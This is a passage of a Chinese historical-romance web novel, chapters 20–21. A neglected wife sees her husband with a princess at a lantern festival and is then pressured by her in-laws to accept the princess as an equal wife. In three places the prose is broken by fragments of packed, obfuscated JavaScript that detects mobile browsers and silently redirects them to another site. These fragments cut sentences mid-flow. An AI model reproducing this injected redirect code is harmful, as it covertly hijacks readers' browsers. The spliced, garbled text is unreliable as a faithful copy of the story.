眉头微蹙的池宴抽回被她抱住的手,刚想解释,林淼思先一步抽回自己的手,将手背在身后,仰着天真的笑走到许知微面前,歪了歪头,“嫂子,好久不见,想不到这一次池大哥和我出来玩居然会带上了你。” 许知微对上她明晃晃地挑衅,掐着掌心,露出一抹温婉的笑,“好久不见,就是不知道我现在应该称呼你为林姑娘,还是明阳郡主。” 昨日她回到池家后,棠梨就去把她不在城里时所发生的事都给打听回来了。 原来林淼思并非孤女,她上洛阳来寻亲,寻的也不是普通的亲,而是皇亲,她本人更是安阳王流落在外的女儿,是正儿八经皇家血脉,是郡主。 就连池宴没有来玉泉寺接她,也是因为在陪这位明阳郡主到处游玩。 好像全天下都知道他们不同寻常的关系,就只有她一个人不知道,还傻乎乎地等着他什么时候来玉泉寺接自己回去。 林淼思笑得爽郎大方,“嫂子和池大哥一样喊我思思,或者淼思都可以,嫂子你知道我的性子向来不拘小节,对我来说名字只是个称呼,只要是能让我知道你叫的是我就行。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12235291|128875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只小兔子。” 她也下意识的脱口而出,“要只小兔子。” 很快,老板用熬好的糖浆,动作熟练的勾出一只憨态可掬的兔子递过来。 许知微接过糖画,放到嘴边,朱唇轻启的咬了一口,感受着糖化开后在舌尖里迸发出的甜味,眼睛都幸福的眯了起来。 果然很甜,也难怪她小时候总是惦记着要吃糖人。 准备转身去找棠梨时,河的对面正随风传来一道娇俏可人的女声,令她整个人跟着僵在原地,捏着竹签的骨指无意识收紧。 “池大哥,你好厉害呀,居然全都猜中了。” “你也很厉害。”男人的声音即使在轻,也像有人往她的心湖里投下了一块巨石,溅起庞大的水花,连她这个在岸边围观的路人都被溅湿了衣服。 隔着一条湖,瞳孔紧缩的许知微看见了那个说着今晚上会在衙门忙碌的男人。 他的身上穿着自己为他亲手挑的衣服,正眉眼温柔,没有丝毫不耐的陪着另一个女人逛花灯。 “池大哥,你说我是戴这个狐狸面具好看,还是这个辟邪的啊。”穿着水红色织金襦裙,额间点着桃花钿,更显娇俏可爱的林淼思正站在小摊前,手上拿着两张面具,满脸纠结的询问着她身边的男人,即她的丈夫。 “好难选择啊,池大哥你快点帮我选一个啦。” 不知谁在半空中燃起了一场璀璨盛大的烟花,也将烟花之下的河的两个对面切割成两个不同的世界。 一个是白米饭里的碍眼石子,一个是和白米饭佐饭生香的梅子。 刚从衙门回来的迟宴似有所感的抬起头,岸对面并没有看见他所以为的人,有的只是一个卖糖画的小贩,掉在地上的一副糖人画。 是最近太忙,都忙得出现幻觉了。 池宴并没有为她选面具,而是疏离的说,“抱歉,我还有事,郡主和殿下,王爷还是让别人陪吧。” 他刚把积压的事情处理完出来,就是想要和她一起过节,没有想到刚走到这里就遇到了林淼思和安阳王,六皇子等人,出于礼貌他帮人猜了灯谜后便选了理由离开,并匆忙地往家赶。 希望他回来的时间还能赶得紧。 许知微不知道是怎么说服自己离开那里的,只知道原本吃到嘴里的糖在这一刻竟苦到了舌根上,那丝苦更蔓延至心窍上。 她也是第一次发现,原来天底下的糖,不是所有的都是甜的。 好比她所喜欢的少年郎不一定会喜欢她。 “姐姐,你怎么哭了。”边上提着灯笼的小姑娘歪着头,奶声奶气地问,还踮起脚尖,试图想要帮她擦眼泪。 “我哭了吗。”整个人茫然得像一片落不着地,没有根基随处漂浮的柳絮的许知微抬起指尖往脸颊上抚摸,果然摸到了一手的冰冷湿濡。 小姑娘思考了一下,然后举起自己另一只手握着的小糖人,眉眼弯弯的递过去,“姐姐是不是因为没有吃到好吃的糖果才难过啊,没关系,我这里有好吃的糖,我分给漂亮姐姐吃。” 砰的一声,不知谁在天空中燃起了烟花,璀璨,明亮,也易逝。 20. 第 20 章 没有等棠梨她们的许知微独自一人回到了落梅院,发现里面空落落的,盛夏的天里,她竟感受到了独属于晚秋萧瑟的寒意。 她没有点灯,也不更衣入睡,就那么安静地坐在窗边,近乎自虐地回想着灯会上所看见的一幕。 即便如此,她还有心情在想着。 他今晚上还会回来吗? 这个念想一出又遭到了她的否认,换成是她有心爱的人陪着一起过节,也肯定不会舍得回来。 他是不是会娶林淼思,同她共许白头约,达结缔永恒,但人家是郡主,郡主哪里有做妾的道理,那么要被牺牲掉的人,是不是只能有她。 今晚上确实如她所想的一样,他没有回来,连带着她也将自己的一颗心落在了昨晚的花灯会上,脑海中更是将花灯上看见的一幕和那日唱的戏曲完美的重叠在了一起,让她分不清到底戏中是真,还是现实为真。 随着夜色渐渐散去,是凝集了一夜的冷空气凝成露珠垂挂在枝梢上,虽是夏日,早上仍是带着凉意的。 枯坐在窗边一夜的许知微在听见了清水园那边走动的声响,身体比僵硬的脑子先一步不受控制的小跑了过去。 她想见他,很想很想。 因为衙门抓到了犯罪头领,导致人还没进家门就得赶回衙门审讯的的池宴听到脚步声时,下意识地转过身,随后怀里跟着扑进一个带着缕缕寒气的身体,也让不知所措的僵在原地。 池宴垂眸看着怀里的人,喉结艰涩的再三滚动,“你的脸色怎么那么差,身上还那么凉。” 许知微苦涩的想,她的脸色应该不止是差,还憔悴,一夜没睡的眼睛里还布满了难看的红血丝。 克制着想要伸手抱她的池宴没有推开她,就由着她抱住自己,直到过了许久,才开口问她,“我听府上的丫鬟说你昨晚上去看了灯会,好玩吗。” “嗯,夫君没有去看真的可惜了,今年的灯会比往年的都要热闹。”许知微从他身上嗅到了淡淡的,带着桃花馥郁香气的胭脂香,她不喜欢用香,说明这香不会是她身上的,所以她们昨晚上待在了一起,他们一起过夜了? “喜欢就好。”男人的嗓音闷闷的,带着难以言喻的暗哑。 紧接着,又是两人无言的沉默。 知自己此举过于孟浪的许知微也从他的怀里起来,人没有走,就站在原地,垂着头不知道在想些什么。 池宴牵过他的手来到落梅院,推开门 槅后,却被她书桌上的一个摆件吸引走了目光。 摆件是一个穿着红衣,拿着长剑的彩塑小人。 许知微从他掌心中抽回自己被他捂暖的手,咬着唇瓣说,“这是我在灯会上面看见的,我觉得挺好看的,夫君觉得如何。” 她其实想说,这个玩偶和她第一次见到他的时候很像,特别是眉心点上的那抹红印让她梦回初见的年少时,所以明知店家虚报了价格,她仍是选择买下。 而且她很少见过他穿鲜艳张扬的红色,要说见过,也仅是见过两次。 一次是初见,一次是二人成婚那日。 池宴面上笑容一僵,眼底冷得像层化不开的尖冰,唇齿咀嚼间带着不为人知的妒,嫉,怒,“略显幼稚,倒是和夫人平日里的口味格外不搭。” 喜穿红衣,又爱舞刀弄枪的仅有她那位竹马。 她就那么忘不掉他,怨恨自己拆散了他们! 所以得知他要回来后,就迫不及待的告诉他,她的心里有的始终是那个四肢发达,头脑简单的蠢货! 一句“略显幼稚”也让许知微下一句“这是我特意为你选的礼物”给卡到了喉咙深处,掩于绣袍下的指尖蜷缩着不曾舒展。 真是的,她到底还在期待什么,难道真的要活成连自己都讨厌的存在吗? 等人离开后,指甲掐着掌心,嘴唇紧紧抿着的许知微犹如失了全身的力坐在凳子上,眼睛没有丝毫焦距的注视着那个玩偶小人。 他是觉得自己送的礼物幼稚,还是觉得她这个人幼稚,亦或是二者皆有之。 还是因为送礼人是她,所以他才会不高兴,认为自己不是在送礼,分明是在借机提醒他,他已婚的身份,也在提醒着他,因为他的存在让他娶不了自己心爱的女子为妻。 走出落梅院的池宴烦躁得在书房里来回踱步,周身的气场压得格外的低,明显是人都能看出他的心情不虞。 偏生这个时候的他还收到了来自宫中密信,要他出城一趟,更显烦躁。 —— 许知微在那日撞到他们两人共游花灯时,便猜到终有一天会发生这样的事,只是没有想到会来得那么快。 眼前的池柔芙双手抱胸,眼神里全是倨傲的鄙夷之色,“嫂子,这应该是我最后一次喊你嫂子了,说来你能让我喊了三年嫂子都算是你的福气,你要是识趣些就赶紧把不属于自己的东西还回来,免得到时候像条丧家之犬被赶出洛阳后可就丢人咯。” 彻底清楚夫君已经喜欢上另一个人的许知微神情淡淡地的端起手边的茶水抿上一口,“哦,不知道什么东西是不属于我的。” “你别装傻充愣了,你现在身上穿的,戴的,用的,还有这个身份,哪一样不是属于池家,属于我大哥赚来的。”池柔芙想起大哥那日呵斥她,要她归还那些首饰的场景,就恨得牙根发痒。 指定是她到大哥面前吹了枕边风,要不然大哥怎么会扣了自己半年的零花钱! 许知微觉得她这句话说得真是好生没道理,她身上穿的衣服皆是她从金陵带到洛阳的,但凡是池家送来的布料,哪一样不是自己还没看清楚长什么样就被她给抢了去,就连自己的首饰也被她堂而皇之的偷走,临到最后还不忘倒打一耙。 不得不说她和池淌不愧是兄妹俩,一样的人品低廉,一样的令人作呕。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12248916|128875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 见到女儿吃瘪的池夫人斜睨着眼,呵斥起,“郡主金枝玉叶怎能当妾,你又如何比得上郡主,我儿当初真的眼睛瞎了才会娶你那么一个女人进门,也怪我没有拦住他。” “郡主金枝玉叶不能做妾!我一个好人家的姑娘就得当妾吗。”攥紧了茶盏边缘的许知微眼尾通红,即使她想要让自己不要失态,但任何一个人遇到这种事,又如何能做到百分之百的镇定。 丈夫的妹妹和母亲来逼迫她和离,不知道这件事他是否知情,又在里面扮演着怎么样的一个角色? “就你?当初要不是老爷子要遵守承诺,你以为我们会让你一个破落户进池家的门。”池夫人眼底的厌恶浓郁得都快要化为实质,但想到大儿子的性子,她这个当娘的仍是有些发悚,否则也不会趁着他不在家的时候才敢过来。 再度出声时,池夫人刻意清了清嗓子,“你是宴州八抬大轿娶回来的正妻,我也不为难你,只要你点头让郡主进来做平妻就行,到时对外虽然宣称郡主是平妻,但是在府里郡主的身份在你之上,郡主是个心善宽厚之人,只要你每日给郡主请安,伺候好郡主,郡主肯定不会为难你,你也休想拿捏郡主,否则我第一个不会放过你。” “如果我不同意呢。”抬起眸子,直面对上婆婆的许知微想,要是换成以前的自己,肯定不会那么硬气。 但泥人都尚有三分脾性,何况她是一个活生生的人,不是一块他们任搓揉扁的面团。 凭什么她们想要好名声的同时,又一次要牺牲掉自己! 她也曾是好女百家求,是能当好人家的正头娘子,凭什么要被从妻贬为妻! 就因为她是郡主,因为池宴不爱他,她爱他,所以他们就能一次又一次把她的自尊扔在地上随意践踏不成! 池夫人也被她冷漠的模样给吓到了,随后恼怒的一拍桌子,“我们今天来只是告诉你,谁管你同意不同意。” “那我倒是想要问你们一句,你们那么着急着想要把我贬妻为妾,我夫君知道吗。”她们直接绕过池宴来找她,肯定是池宴不同意,就想从她身上找突破口。 到时她们还能站在至高点上嘲讽她,劝说他是她主动提出的。 池柔芙没想到她不像之前那样逆来顺受,更认为她是想要扒着自家大哥不放,立马透着鄙夷,“你放心,这件事我大哥当然知道,我大哥可是巴不得把你踹了,像你这样的女人往日里连给我大哥提鞋都不配,好运气的当了我大哥的正妻三年,真就以为自己麻雀变凤凰了不成,要知道麻雀终究是麻雀。” 没有理会她乱吠的许知微看向翠梅玉竖屏风后,一直躲在后面不出声的林淼思身上。 林淼思见自己被发现了,也没有扭捏的走出来,并大大方方的喊了一声“许姑娘。” 她喊的是“许姑娘”而非“嫂子”,也非池夫人,明眼人都能看出她想要上位的磅礴野心。 21. 第 21 章 “我问你,你当初第一次见面就喊我‘许姑娘’,是不是从那时就看上了我的夫君。”放下后的许知微发现,原来自己也能用那么平静的语气面对这个破坏她婚姻的第三者。 一开始她是恨她,怨她,憎她的,要不是她,池宴依旧会是那个和她相敬如宾,举案齐眉的丈夫,他们还会有一个活泼可爱的孩子,就那么平平淡淡的过完这一生,而非走到两看两相厌的地步。 她却忘了最重要的一点,依照池宴的性子,无论他的妻子是谁,他都能和对方相敬如宾。 选中她,不过是为完成祖父的遗愿,退一步来说,无论他祖父要他娶的是张家女儿,还是王家女儿他也都会娶,所以选择娶自己并没有什么特别。 唯独她在见过他爱上一个人的模样后,才会那么的崩溃,绝望。 林淼思对上她的质问,眼底有过片刻的慌乱,随后又理直气壮起来,“许姑娘你可不能乱说,我那个时候一直都是把池大哥当兄弟看的。” 许知微冷笑,“如果只是当兄弟看,为什么你在明知他已经成婚后,还要假借所谓的兄弟,朋友之名三番两次约他出去。” 林淼思无辜地瞪大眼睛,又眨了眨,“朋友之间不都是这样相处的吗,也就你这种不相信他的态度才让池大哥感觉到窒息,如果是我,我才不会连池大哥跟好兄弟出去玩都疑神疑鬼。” 她丝毫不认为自己有错,反倒是话里话外都在说许知微小气,不大度,才会把自己的丈夫越推越远。 是啊,错的不是他们,错的是自己这个碍在他们爱情故事里的石子。 “我直到今天才发现,郡主的口才好得简直令人叹为观止,不去说书都是在屈才了。”许知微没料到她的歪理还真是好笑,更不知道她是哪里来的底气支撑着她的歪理。 只是很快,许知微发现了她所谓的底气皆来自于自己丈夫对她毫不保留的偏爱,也更衬得她像一个愚钝的笑话。 “不被爱的才是第三者,许姑娘你要知道池大哥他根本不爱你,他爱的人是我,所以我希望你放手,最好是能大方的成全我和池大哥的感情。”林淼思说到最后,连底气都足了的摆上正室的威风,“因为我能很明确池大哥要不是因为祖父留下来的遗愿,他肯定不会娶你的,你性子才能都平庸得和他说不到一起,家世更是平平得给不了他半分帮助。” “池大哥和你在一起的时候都没有笑过,你也没有和池大哥一起去骑过马,放过花灯,还一起牵手看过烟花,池大哥也不会为你放了满城烟花,更不会因为你半夜一句想吃南京的小吃,就骑了一天一夜的马跑到南京去买回来,但是这些事池大哥都为我做过。”林淼思笑得甜蜜,眼梢间全是炫耀的扬起下巴,“你要是答应离开池大哥,我也不会亏待你,张侍郎刚丧妻不久,我可以把你介绍给他后嫁过去,到时候我和池大哥都会再给你添一份嫁妆,也算全了你的大度。” “虽然你读书不多,但你也得清楚强扭的瓜不甜,强留一个不爱你的男人在身边,只会让彼此都痛苦,还不如大方一点,赚个好名声。”林淼思说这句话时,俨然用着正妻的口吻自居,就连语气里也全然是施舍。 就和上一次道歉一样,无论别人是否答应,都必须得强迫对方答应,否则就是小肚鸡肠,心胸狭窄。 指尖蜷缩着的许知微抬起愠怒悲愤的一双眼睛,直直地望向她,打断她自以为是的长篇大论,“说够了吗。” 谁不知道那张侍郎年过半百,后院子女姨娘成堆,每日里都斗得昏天黑地,她还真是懂得怎么羞辱人。 突然被打断了炫耀的林淼思不满地皱起眉头,嘟起唇,“你是在嫌弃我给的太少了吗,张侍郎年龄虽大了一点,但是年龄大的会疼人,张侍郎都不介意你生不出孩子的,你还有什么不满意的。” 被她用着如此理直气壮口吻而气得浑身发抖的许知微直白地嘲讽,“你要是满意,为什么你不嫁过去。” “我怎么能嫁给他啊!他年纪大得都能当我爹了!”林淼思意识到自己说出心里话后,又连忙羞怯地解释,“我不是那个意思啦,只是我都有池大哥了,怎么还能嫁给其它男人。” 再说了好女不伺二夫,她才没有自甘下贱到嫁那么个又老又丑的男人。 林淼思的目光落在对面这张即使带着病弱,依旧美得温婉秀丽的脸,便是满心妒火的愤怒。 要不是因为她,池大哥早就娶自己为妻了,怎么还会刻意同自己保持距离,就连父王施压让他娶自己都不愿,肯定是她在池大哥耳边嚼了舌根。 初时还以为她是个好的,结果根本是个蛇蝎心肠的毒妇,也难怪那么多年都生不出孩子。 要她说,就是活该! “所以,就因为金枝玉叶的郡主看上了我夫君,我不愿意和离,你就要逼我嫁给其他男人是不是。”她的厚颜无耻,许知微在今日算是彻彻底底的领教够了。 不,之前就领教过了,只是今日又一次被刷新了下限罢了。 被说得脸上忽青忽白的林淼思觉得她真是得寸进尺,自己都对她那么好了,怎么还那么挑三拣四,活该池大哥不喜欢她。 她心里是那样想的,嘴上也自然而然的跟着鄙夷起,“你怎么能那么想,你一个连孩子都生不出的女人,别人愿意娶你,你就应该立马感恩戴德的带着嫁妆嫁过去侍奉他,而不是还在这里质问我为什么大发善心的帮你,你真是无理取闹,难怪大家都不喜欢你。” 指骨用力攥紧的许知微再也忍不下去,怒吼道:“他们喜不喜欢我,都跟你没有任何关系!” “就算我生不出孩子也跟你没有关系,女人的价值也不是只有生育!”她想,她是忍得舌尖都要咬出血了,指甲都要把掌心戳烂了才控制住扇她的冲动。 等人走后,许知微再也维持不了自己所谓的体面,整个人滑到了地上,抬手往脸上一抹,不知不觉中早已泪水淌了满脸。 她今日来向自己挑衅,是不是也是因为池宴的宠爱给了她无尽的底气,还是他的无限纵容。 许知微自认了解池宴这个人,自己既然嫁给了他,只要自己在原则上没有犯任何错,他肯定不会休了自己,更不会同意这等荒谬的贬妻为妾,甚至不会没有问过她就纳平妻。 可是他对林淼思的宠爱又是那么的明目张胆,连她这个正妻都只能望尘莫及的羡慕,更会心生阴暗的嫉妒。 并在想,如果他不喜欢自己,为什么还要娶自己,为什么还要让自己产生虚无缥缈的希望,认为自己能凭借年少时和他青梅竹马的情谊,终有一天能走进他的内心。 结果在她以为自己凭借努力终于能够得着月亮的时候,却有个人突然跑出来告诉她。 这枚月亮已经有主了,你不能碰。 何其残忍,又何其狠毒。 就连在院里打扫的丫鬟都压着声同旁边的人说着话,“夫人自从寺庙回来后就一直心情不好,连院子都不怎么出来了,是遇到什么事了。” “可能是听到大爷真正喜欢的人是郡主,不高兴了呗。”翠柳生怕屋子里的人没听见一样,刻意拔高着音量,“郡主为人和善大方,性格又爽朗,我倒是宁愿她当我们的主母。” “嘘,你说话那么大,就不怕被夫人听见了。” 翠柳翻了个白眼,吐出嘴里的瓜子壳,“听见了就听见了呗,我说的又没有错,难道你不觉郡主无论是家世还是性子都明显是最和大爷般配的,哪里同夫人那样满身的小家子气,就连打赏都扣扣搜搜,也不像郡主出手大方给的金瓜子。” 她们说的话,全然一字不落的传到了许知微的耳边。 你瞧,连府里的任何一个下人都说她配不上池宴,结果她当年还是义无反顾的嫁给了他,从金陵千里迢迢的来到人生地不熟的洛阳,只为了追逐一场虚无缥缈的爱。 还天真的幻想着,他一开始不喜欢自己不要紧,等她了解了自己这个人后,肯定就会喜欢自己了。 可是她忘了,从一开始不喜欢你的人,不代表后面就会喜欢上你,说不定只是他勉为其难的将就。 而她,自始至终都只是池宴的将就,是他在遇到真爱后毫不犹豫弃之敝屣的衣上泥污。 甚至要不是他祖父的遗愿,他们二人除了年少时的情谊后,根本不会在有任何相遇的可能。 随着天气渐凉,落梅院也像是被所有人给遗忘的孤寂之地,婆婆小姑子不在刁难她,也不会让她过去请安,只是将她当成府上的一株花,一棵草。 许知微把不知是谁塞到她窗缝里的纸条打开,不明白对方为何一定要让她到梅林旁的假山,说是能让她看见自己所感兴趣的事情。 如今的她还有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12263456|128875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么感兴趣的,不过是个只敢躲起来,不敢面对现实的胆小鬼罢了。 不知蜷缩在院子里多久的许知微走出落梅院后,才发现府上各处都在张灯结彩,红绸灯笼高高挂,典型的是府里有人要办喜事。 许知微遂问了正在布置的一个丫鬟,“府里最近是要办什么喜事吗。” 正忙着贴红双囍的丫鬟头也没抬的回到,“大爷要娶妻了,可不得热闹热闹。” 棠梨为其抱不平的抱怨,“纳妾应该不用那么大阵仗吧,不知情的还以为是要娶妻呢。” 丫鬟这才转过头,等瞧见站在自己身后的人是许知微后,先是有过片刻的尴尬,随后又伶牙俐齿起来,“谁说是纳妾了,大爷可是要娶平妻,郡主还是金枝玉叶的身份,自然得要怎么热闹怎么来,排场更是不能少。” 瞳孔紧缩的许知微听到他要娶平妻,全府上下都知道他要娶平妻,结果只有自己一个人不知道的时候,突然很想笑,大声的发笑。 怪不得婆婆和小姑子不来找她麻烦,她们正忙着迎郡主那么一位身份高贵的儿媳(嫂子)进门,哪里还会在意她,恐怕巴不得她直接死了干净。 许知微又想到许久不曾归家的池宴,不禁悲从心想。 他是真的忙得不着家,还是特意避开她不想回家,只为不想看见自己质问他为什么要不经过自己的同意就娶林淼思为平妻。 当初他在新婚之夜说过的那句,会给自己正妻该有的体面,也在这一刻沦为了彻头彻尾的笑话。 她的丈夫要娶妻了,她是最后一个才知道的。 这一刻,许知微忽然发现自己一点儿都不难过,就连对他的最后一点爱意也跟着消失了,是什么时候消失的呢? 是从寺庙里她无助的求着他能出现的时候?还是他义无反顾的跳下荷池救林淼思,不相信自己没有推林淼思,还是在他说着忙,结果却是在陪林淼思一起过节,并彻夜不归的时候。 只是她仍是不甘心,凭什么,他凭什么要那么对她! 说过会给她正妻体面的人是他,没有问过她就私自娶平妻的人也是他,他到底把她许知微当成了什么! 如今自持着池家大少奶奶身份的林淼思正托着下巴,愁着好看的芙蓉面,“阿芙,你说许姑娘是不是很讨厌我啊,要不然怎么会在我嫁给池大哥的时候都不出来祝福我,怎么说我也叫过她几声嫂子。” 她都答应帮她改嫁了,她怎么还那么小气啊。 池柔芙正为自己不久后有个郡主嫂子,连带着出去玩的时候里子面子都不知道挣了多少而高兴,闻言目露鄙夷的宽慰她,“她那个女人恐怕连谁都讨厌,就算她讨厌又有什么关系,谁会在意她啊,她不来祝福郡主和大哥,更说明她小肚鸡肠,心胸狭隘,像她这样的人哪里配得上我大哥,也只有郡主这样的人,才配得上我大哥。” “可是,我要是嫁过来,肯定得要她同意的啊。”林淼思纠结地叹了一声,“虽然她有很多错,我还是希望我和池大哥在一起后能得到她的祝福,这样池大哥也不会感到那么内疚。” 只是提到池大哥,林淼思才发觉自己许久没有见到他了,就连从池府上门求娶到布置婚事,他都没有露过面。 当然,这些她都懂的。 肯定是池大哥担心会被许知微发现后大吵大闹,毕竟池大哥向来是个重情的人。 “林姐姐,我实话告诉你吧,我大哥一点儿都不喜欢那个姓许的女人,你知不知道她同我大哥成婚那么多年,为什么一直没有怀孕的原因。”提到那个女人,池芙柔眼底的鄙夷和嫌恶都快要满得溢出来。 好在大哥迷途知返,给她找了个真正出身尊贵的嫂子。 池柔芙又想到这件事是她和母亲,二哥私自瞒着大哥做的,难免显得心虚,不过大哥那么孝顺,到时候就算大哥发现她们骗了他,但花轿已经抵达,就连各大宾客都邀请入席了,就算在生气也会娶郡主进门的。 天知道她因为有那么个出身低微的嫂子被人笑话了多久,这一次怎么也得要扬眉吐气一番。 她的话音刚落,林淼思的呼吸瞬间急促起来,脸颊也染上嫣红,直觉告诉她,等下她说的话,对自己肯定很重要。 就连被人特意带到这座凉亭后的假山处的许知微也跟着屏住了呼吸,侧耳凝神听着她接下来要说的话。